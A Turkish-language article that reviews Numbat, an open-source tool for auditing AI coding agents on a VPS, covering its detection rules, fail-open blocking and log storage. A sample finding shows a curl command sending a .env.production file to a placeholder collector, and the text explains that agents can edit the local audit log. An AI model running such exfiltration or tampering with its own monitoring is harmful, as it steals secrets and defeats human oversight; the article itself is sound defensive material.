SSD Nodes Learn 🎉 VPS $4.99/aydan başlayan
Rehberler Matt ConnorYazan Matt Connor · Güncellendi 2026-08-07

Numbat ile yapay zeka ajanlarının faaliyetlerini izleme

Perplexity tarafından geliştirilen Numbat, yapay zeka kodlama ajanlarının sunucunuzda gerçekleştirdiği gizli işlemleri nasıl kayıt altına aldığını ve sınırlarını öğrenin.

Numbat nedir

Numbat, sahip olduğunuz bir makinede bir yapay zeka aracısının gerçekleştirdiği işlemleri görünür kılar. Kodlama araçlarının halihazırda ürettiği kanca geri çağrılarını (hook callbacks) ve oturum dosyalarını okur, bunları tek bir olay biçimine normalleştirir ve SSH özel anahtarını okumak veya bir indirme işlemini doğrudan shell'e yönlendirmek gibi davranışlar üzerinde tetiklenen kurallarla eşleştirir. Perplexity, aracı 29 Temmuz 2026 tarihinde ilk etiketli sürümüyle Apache 2.0 lisansı altında açık kaynak olarak yayınlamıştır.

Aşağıdaki tüm bilgiler, 2 Ağustos 2026 tarihinde incelenen proje deposundan ve kendi belgelerinden alınmıştır. Perplexity tarafından yapılan iddialar metin içerisinde belirtilmiştir. Depo henüz çok yeni olduğundan ve komutları değişebileceğinden, bu bir kurulum kılavuzu değildir.

Sorun: Ajanın ne yaptığı kayıt altına alınmıyor

VPS üzerinde çalışan bir kodlama ajanı; sizin yetkilendirdiğiniz kullanıcı haklarıyla shell komutları çalıştırır, dosyaları okur, dosyaları yazar ve ağ bağlantıları açar. Ajan sizin shell ekranınıza yazmadığı için shell geçmişiniz bu işlemlerin hiçbirini kaydetmez. sshd sadece girişinizi günlüğe kaydeder, modelin sonrasında aldığı kararlara dair hiçbir veri tutmaz. /var/log/auth.log, sudo adresine bir erişim olmadığı sürece sessiz kalır. Ajan kendi dökümünü tutar ancak bu dosya ajanın oturum dizininde bulunur, formatı sürümler arasında değişiklik gösterir ve ajanın kendi süreci bu dosyayı değiştirebilir.

Bu nedenle birisi ajanın geçen Salı günü .env.production dosyasını okuyup okumadığını sorduğunda, çoğu sunucudaki dürüst cevap bunu tespit edemeyeceğinizdir. Bu boşluk, bu projenin var olma nedenidir.

Perplexity'nin Numbat hakkındaki iddiaları

README dosyası, aracı "yerel algılama, isteğe bağlı eylem öncesi engelleme ve adli yeniden yapılandırma ile AI ajanı etkinliklerine uç nokta görünürlüğü" sağlayan bir çözüm olarak tanımlayarak başlar. Buradaki uç nokta, dışarıdan izleme yapan bir ağ cihazını değil, ajanın üzerinde çalıştığı makineyi ifade eder. Bunlar birbirinden farklı yeteneklerdir ve farklı ağırlıklara sahiptir.

Algılama işlemi cihaz üzerinde gerçekleştirilir. Kurallar CEL (common expression language) ile yazılır ve yerel olarak değerlendirilir; ayrıca çok adımlı dizi kuralları ve YAML formatında kendi kurallarınızı tanımlama desteği sunar. Bir kuralın tetiklenmesi için makineden hiçbir verinin dışarı çıkması gerekmez.

Engelleme özelliği isteğe bağlıdır ve kapsamı dardır. Yalnızca bunu destekleyen ajanlarda, eşzamanlı eylem öncesi kancalar (pre-action hooks) aracılığıyla çalışır ve siz etkinleştirene kadar kapalıdır.

Yeniden yapılandırma işlemi olay sonrasında gerçekleşir. numbat scan, bir ajanın halihazırda diske yazdığı oturum yapılarını ayrıştırır; böylece herhangi bir kurulum yapmadan önceki etkinlikleri inceleyebilirsiniz. Proje, bu iddiayı şu şekilde sınırlandırmaktadır: "At-rest (beklemedeki) yeniden yapılandırma, disk veya bellek imajı alma işlemi değildir ve ajanın kalıcı hale getirmediği etkinlikleri kurtaramaz."

Çıktı, v0.1.2 sürümü itibarıyla 0.2.0 şema sürümünde; olayları, bulguları, yaptırım kararlarını, göstergeleri ve tarama özetlerini kapsayan sürümlü NDJSON (newline delimited JSON) formatındadır. Kayıtlar stdout'a veya yerel bir dosyaya, isteğe bağlı olarak da çalıştırdığınız bir toplayıcıya HTTP üzerinden gönderilir. macOS, Linux ve Windows üzerinde amd64 ve arm64 mimarileri için cgo olmadan derlenmiş tek bir statik Go binary dosyası olarak sunulur; bu sayede Linux VPS üzerinde önceden kurulması gereken bir çalışma zamanı (runtime) gerektirmeyen tek bir dosya halindedir.

Numbat hangi aracıları gerçekten görebilir?

docs/agent-coverage.md içindeki kapsama matrisi yetkili listedir ve bu liste homojen değildir. Proje, bunu gizlemek yerine açıkça belirtmektedir. Claude Code, Codex, Gemini CLI, Cursor ve GitHub Copilot CLI hem artifact taramasına hem de pre-action hook ile canlı yakalamaya sahiptir. OpenClaw, 2026.7.1 sürümünden itibaren yerel bir eklenti almaktadır. Uzun bir girdi listesi ertelenmiş olarak işaretlenmiştir; bu, canlı bir hook yolu bulunduğu ancak artifact ayrıştırıcısının mevcut olmadığı anlamına gelir. Bunun nedeni genellikle ilgili aracının geçmişini, aracı çalışırken okunması güvenli olmayan write-ahead log içeren bir SQLite dosyasında saklamasıdır. OpenCode ve Cline, 2 Ağustos 2026 tarihinde matris okunduğunda bu grupta yer alıyordu.

Bu araçla ilgili herhangi bir plan yapmadan önce aracınızın bulunduğu satırı kontrol edin; çünkü "destekleniyor" ifadesi neredeyse her satırda farklı bir anlama gelmektedir.

Bir tespitin görünümü

Kurallar, ne amaçla kullanıldıklarını belirten kimlik numaralarına sahiptir. secrets.read_private_key; bir SSH anahtarını, AWS kimlik bilgilerini, bir kube config dosyasını veya paket kayıt defteri girişini kapsar. exec.download_pipe_shell, curl veya wget çıktısı bir yorumlayıcıya aktarıldığında tetiklenir. privilege.elevated_shell, sudo, doas, su veya pkexec üzerinden etkileşimli bir root kabuğu isteğini yakalar. impact.cryptomining_launch, bilinen madenci ikili dosyaları ve imaj adlarıyla eşleşir.

Sıralı kurallar, tek bir oturum içindeki olayları birleştirir. chain.secret_read_then_egress, bir gizli dosyanın okunmasını ve ardından veriyi dışarı taşıyan bir komutun çalıştırılmasını gerektirir. README dosyası, aşağıda yer alan bulguyu canlı bir olaydan değil, iki Claude Code ön işlem geri çağrısının kontrollü tekrarından yayınlamaktadır. Buradaki çıktı, önemli alanları içerecek şekilde kısaltılmıştır:

{
  "record_type": "finding",
  "rule_id": "chain.secret_read_then_egress",
  "rule_version": "1.4",
  "severity": "high",
  "confidence": "medium",
  "title": "Secret-file access followed by data-bearing egress",
  "observed_command": "curl --data-binary @/workspace/acme-api/.env.production https://collector.example.invalid/ingest",
  "source_agent": "claude-code",
  "source_type": "hook",
  "tags": ["attack.t1048", "attack.t1552", "attack.t1567"]
}

Kayıt içinde yer alan "confidence": "medium" işaretçisine ve projenin bu çıktı sınıfı hakkında ne söylediğine dikkat edin: "Bulgular kural eşleşmeleridir, bir ihlalin kanıtı değildir." Bir anahtarı okuyan ve ardından bir derleme çıktısını (artifact) yükleyen bir dağıtım betiği, aynı sıralı kural ile eşleşecektir. Eşleşme doğrudur ancak alarm hatalıdır; bu, şimdiye kadar çalıştırdığınız her tespit aracının normal durumudur.

Engelleme varsayılan olarak kapalıdır ve hata durumunda açık kalır (fail-open)

Numbat ile gelen her kural yalnızca izleme modundadır. Bir kuralı engelleme moduna geçirmek bilinçli bir işlem gerektirir: kuralın tam YAML içeriğini kendi dizininize kopyalayın, aynı id değerini koruyun, enforce: true ekleyin, sürüm numarasını artırın ve ardından bu politikayı doğrulayıp yükleyin.

numbat rules check --rules-dir ./numbat-policy
numbat hook install --agent codex --emit all \
  --rules-dir ./numbat-policy --enforce

Şimdi, bu sisteme ne kadar güvenmeniz gerektiğine karar veren kısma gelelim. Numbat'ın reddetme (deny) yanıtı, aracıya (agent) geri iletilen bir yanıttır ve araç çağrısını fiilen reddeden şey aracının kendisidir. Uygulama kılavuzu, Numbat'ın kendisinde bir sorun olduğunda ne olacağı konusunda nettir: "Hatalı yükler, ilgili değerlendirme hataları, panik durumları ve çıktı başarısızlıkları numbat reddini bastırır." Kanca girişi (hook input) 4 MiB ile sınırlandırılmıştır ve bu boyutu aşan girdiler de aynı yolu izler.

Kılavuz, gerçekleşen bir reddetme işleminin sınırları konusunda da aynı derecede açıktır: "Fail-open, numbat'ın reddetme yanıtını vermemesi anlamına gelir. Bu, aracın çalışacağını garanti etmez: ana sistem yine de komut isteyebilir, reddedebilir, zaman aşımına uğratabilir veya başka bir kanca ya da politika uygulayabilir."

Dolayısıyla buradaki uygulama bir sınır değil, bir güvenlik bariyeridir. Süreç çökerse, işlem Numbat tarafından engellenmez; çünkü her hata durumunda aracınızı donduran bir izleme aracı bir hafta içinde kaldırılır. Bu makul bir takastır. Sadece, reddetme yanıtının her zaman ulaşacağını varsayan bir güvenlik modeli oluşturmayın.

Numbat'ın mevcut iş akışınızdaki yeri

Numbat, uç noktada, aracın kendi süreç ağacı içerisinde çalışır ve varsayılan olarak ~/.numbat/records.ndjson dosyasına yazar. Kullanıcınız olarak çalışan bir araç bu dosyayı okuyabilir. Ayrıca dosyayı düzenleyebilir. Denetim izinin değeri, etrafındaki yalıtımın gücü kadardır; bu da sahip olduğunuz tüm kontrolleri bu aracın arkasına değil, önüne yerleştirir.

Kodlama aracına geçici bir VM verme yöntemi, hatalı bir çalıştırmanın erişebileceği alanı sınırlar. VPS üzerinde en düşük yetkili kullanıcı kullanımı, aracın açmaması gereken dosyalardan uzak durmasını sağlar. Kimlik bilgilerini aracın bağlamı dışında tutmak, bir secrets.read_private_key eşleşmesinin tetiklendiğinde incelenmeye değer olacak kadar nadir olmasını sağlar. Ve Claude Code için VPS üzerinde kurduğunuz sandbox, kapsülleme işlemini gerçekleştiren ana mekanizma olmaya devam eder.

Numbat'ın sağladığı katma değer kayıttır; bu nedenle kaydı, aracın erişemeyeceği bir yere gönderin. numbat ship ve HTTP sink bu amaçla mevcuttur. Akışın bir kopyasının ikinci bir makinede bulunması, bir günlük dosyası ile kanıt arasındaki farktır. Olay modeli ayrıca MCP (model context protocol) alanlarını da taşır; bu sayede VPS üzerinde barındırdığınız bir MCP sunucusu üzerinden çıkan araç çağrıları, yerel kabuk komutlarıyla aynı akışa düşer. Bu durum önemlidir, çünkü bu yol yalnızca bash dosyasını izleyen herhangi bir yapı için görünmezdir.

Önce salt okunur modda deneyin

Sabitlenmiş bir sürüm kurun. go install için Go 1.26.5 veya daha yeni bir sürüm gereklidir; kaynak koddan derlemek istemiyorsanız, sürümler sayfasında SHA-256 sağlama toplamlarına sahip önceden derlenmiş ikili dosyalar mevcuttur.

go install github.com/perplexityai/numbat/cmd/numbat@v0.1.2
numbat agents
numbat scan

numbat agents, sunucuda yüklü olan aracıları (agent) keşfeder. numbat scan, diskte halihazırda bulunan oturum yapılarını ayrıştırır ve kayıtları yazdırır. README dosyası, bu komutların "kanca (hook) kurmadığını veya aracı yapılandırmasını değiştirmediğini" ve numbat'ın "yapılarda bulunan aracıları veya komutları asla çalıştırmadığını, yalnızca yapılandırılmış HTTP hedeflerine giden istekler yaptığını" belirtir. Tarama işlemi, gizli verilerin maskelenmesiyle salt okunur olarak gerçekleştirilir ve normal kayıt çıktısı hiçbir zaman tam ham dökümü içermez.

Canlı yakalama bir sonraki adımdır ve bu işlem aracı yapılandırmasını değiştirir:

numbat hook install --agent codex --emit all
numbat hook status --agent codex

--emit all; olayları, bulguları, göstergeleri ve uygulanabilir yaptırım kararlarını ~/.numbat/records.ndjson dosyasına yazar. Projeden doğrudan gelen iki uyarı mevcuttur. Kancaların çalışabilmesi için önce aracı içinde güvenilir olarak işaretlenmeleri gerekebilir ve bu güvenin, --enforce gibi bayraklar değiştirildikten sonra tekrar gözden geçirilmesi gerekir. Ayrıca hook status, "yürütmeyi veya teslimatı değil, yapılandırmayı doğrular"; bu nedenle sağlıklı bir durum satırı, kayıtların bir yere ulaştığının kanıtı değildir.

Bu kadar yeni bir depo neden bir bağımlılık değildir

Genel kullanıma sunulan sürümler 29 Temmuz 2026 tarihli v0.1.1 ve 1 Ağustos 2026 tarihli v0.1.2'dir. Bu yazı 2 Ağustos 2026 tarihinde kaleme alındığında depo 597 yıldıza sahipti. Bu denli hızlı artan sayılar, kodun kararlılığından ziyade Perplexity kitlesinin ilgisini yansıtmaktadır. Bir yıldız, birinin sayfayı daha sonra incelemek üzere kaydettiği anlamına gelir.

Sürüm numarası, projenin mevcut durumunu dürüstçe yansıtmaktadır. v0.1.2 sürüm notları çoğunlukla kimlik bilgisi gizleme düzeltmeleri, vaka paketleme ve telemetri normalleştirme çalışmalarından oluşmaktadır. Gizleme hataları, görevi diğer programların dökümlerini güvenli bir şekilde okumak olan bir araçta beklenen erken dönem kusurlarıdır ve bunların devamı gelecektir; çünkü girdiler, her biri kendi takvimine göre format değiştiren bir düzine farklı aracıdan gelmektedir.

Bunun sonucunda iki pratik kural ortaya çıkmaktadır. Kullandığınız her şeyde @latest yerine mutlaka etiketi sabitleyin. Ayrıca, kayıt şeması kararlı hale gelene kadar bu aracı, üzerinde kontrol sahibi olduğunuz bir yapıdan ziyade değerlendirme aşamasında olan bir enstrüman olarak ele alın.

FAQ

Numbat tehlikeli AI ajanı komutlarını engeller mi?

Yalnızca tercih ederseniz ve "en iyi çaba" (best effort) prensibiyle engeller. Numbat ile birlikte gelen her kural yalnızca izleme (monitor) modundadır. Engelleme yapmak için kuralın YAML dosyasını kendi dizininize kopyalamanız, kimliğini (id) korumanız, enforce: true eklemeniz, sürümü yükseltmeniz ve kancayı (hook) --enforce ile kurmanız gerekir. Bu durumda bile engelleme, ajana geri gönderilen bir yanıttır ve çağrıyı reddeden taraf ajanın kendisidir. Proje belgeleri "fail-open" davranışını belirtir: hatalı biçimlendirilmiş yükler, değerlendirme hataları, panikler ve çıktı başarısızlıklarının tümü engelleme işlemini devre dışı bırakır. Numbat'ı tek güvenlik sınırınız olarak değil, bir koruma mekanizması olarak kullanın.

Numbat hangi AI ajanlarını destekler?

Kapsam ajana göre değişiklik gösterir ve depodaki docs/agent-coverage.md dosyasında listelenmiştir. 2 Ağustos 2026 tarihinde bu sayfa okunduğunda Claude Code, Codex, Gemini CLI, Cursor ve GitHub Copilot CLI hem artifact tarama hem de canlı yakalama özelliklerine sahipti; OpenClaw ise 2026.7.1 sürümünden itibaren yerel bir eklentiye sahiptir. Diğer birçok ajan canlı kanca yolu ile listelenmiş olsa da henüz artifact ayrıştırıcısına sahip değildir; bunun nedeni genellikle oturum geçmişlerinin, ajan çalışırken okunması güvenli olmayan bir SQLite veritabanında tutulmasıdır. Ajanınız için ilgili satırı okuyun, çünkü "destekleniyor" ifadesi orada farklı seviyeleri kapsar.

Ajan, Numbat'ın kayıtlarını değiştirebilir mi?

Evet, eğer aynı kullanıcı yetkileriyle çalışıyorsa. Kayıtlar varsayılan olarak makinede ~/.numbat/records.ndjson dizininde tutulur, bu nedenle o yola yazma erişimi olan her şey kayıtları değiştirebilir veya silebilir. Akışı, ajanın erişemeyeceği bir toplayıcıya numbat ship veya HTTP sink ile gönderin ve yerel dosyayı yalnızca kolaylık amaçlı bir kopya olarak tutun. Bu araç, izolasyonun yerini almak yerine onu tamamlar. En az ayrıcalıklı kullanıcı altında geçici bir VM'de sınırlandırılmış bir ajan, kendi denetim izi üzerinde çok daha az etkiye sahiptir.

Numbat üretim sunucuları için hazır mı?

Güvenebileceğiniz bir denetim mekanizması olarak henüz hazır değildir. İlk genel sürüm 29 Temmuz 2026'da v0.1.1 olarak yayınlanmış, 1 Ağustos 2026'da ise v0.1.2 gelmiştir; bu nedenle bayraklar ve kayıt şeması hala değişmektedir. Bir sunucuda numbat agents ve numbat scan çalıştırmak salt okunurdur ve düşük risk taşır; ajanlarınızın diskte neler bıraktığını görmenizi sağlar. Önemli bir sunucuya yaptırım kancaları kurmak farklı bir karardır; sabitlenmiş bir sürüm etiketi ve kancanın hatalı çalışması durumuna karşı bir plan gerektirir.